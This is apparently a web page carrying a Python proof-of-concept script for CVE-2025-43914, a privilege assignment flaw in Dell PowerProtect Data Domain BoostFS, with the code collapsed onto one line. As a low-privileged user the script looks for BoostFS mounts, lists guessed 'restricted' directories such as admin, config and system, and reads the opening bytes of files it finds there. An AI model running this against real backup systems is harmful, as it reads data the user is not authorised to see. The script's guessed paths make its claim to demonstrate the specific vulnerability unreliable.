CVE-2025-43914 Dell PowerProtect Data Domain BoostFS权限分配错误漏洞

# CVE-2025-43914 - Dell PowerProtect Data Domain BoostFS Privilege Assignment Vulnerability PoC # This is a conceptual PoC demonstrating the privilege assignment issue import os import subprocess import sys def check_boostfs_mount(): """Check if BoostFS is mounted on the system""" try: result = subprocess.run(['mount'], capture_output=True, text=True) if 'boostfs' in result.stdout.lower() or 'ddboost' in result.stdout.lower(): return True return False except Exception as e: print(f"Error checking mount: {e}") return False def check_current_user(): """Check current user privileges""" uid = os.getuid() username = subprocess.run(['whoami'], capture_output=True, text=True).stdout.strip() return uid, username def test_privilege_escalation(mount_point): """ Test for privilege escalation via BoostFS Low-privileged users should not be able to access certain restricted resources """ uid, username = check_current_user() print(f"[*] Current user: {username} (UID: {uid})") if uid == 0: print("[!] Running as root, vulnerability test not applicable") return # Attempt to access restricted BoostFS resources restricted_paths = [ f"{mount_point}/admin", f"{mount_point}/config", f"{mount_point}/system", f"{mount_point}/.restricted", f"{mount_point}/backup/system" ] for path in restricted_paths: if os.path.exists(path): try: # Attempt read access to restricted resources files = os.listdir(path) print(f"[VULNERABLE] Unauthorized access to: {path}") print(f" Contents: {files[:5]}") # Attempt to read sensitive files for item in files[:3]: item_path = os.path.join(path, item) if os.path.isfile(item_path): with open(item_path, 'r') as f: content = f.read(100) print(f" Read from {item}: {content[:50]}...") except PermissionError: print(f"[SAFE] Access denied to: {path}") except Exception as e: print(f"[ERROR] {path}: {e}") def main(): print("=" * 60) print("CVE-2025-43914 PoC - BoostFS Privilege Assignment Check") print("=" * 60) if not check_boostfs_mount(): print("[!] BoostFS not detected on this system") sys.exit(1) # Common BoostFS mount points mount_points = ['/mnt/boostfs', '/boostfs', '/mnt/ddboost', '/ddboost'] for mp in mount_points: if os.path.exists(mp): print(f"\n[*] Checking mount point: {mp}") test_privilege_escalation(mp) print("\n[*] Test completed") if __name__ == "__main__": main()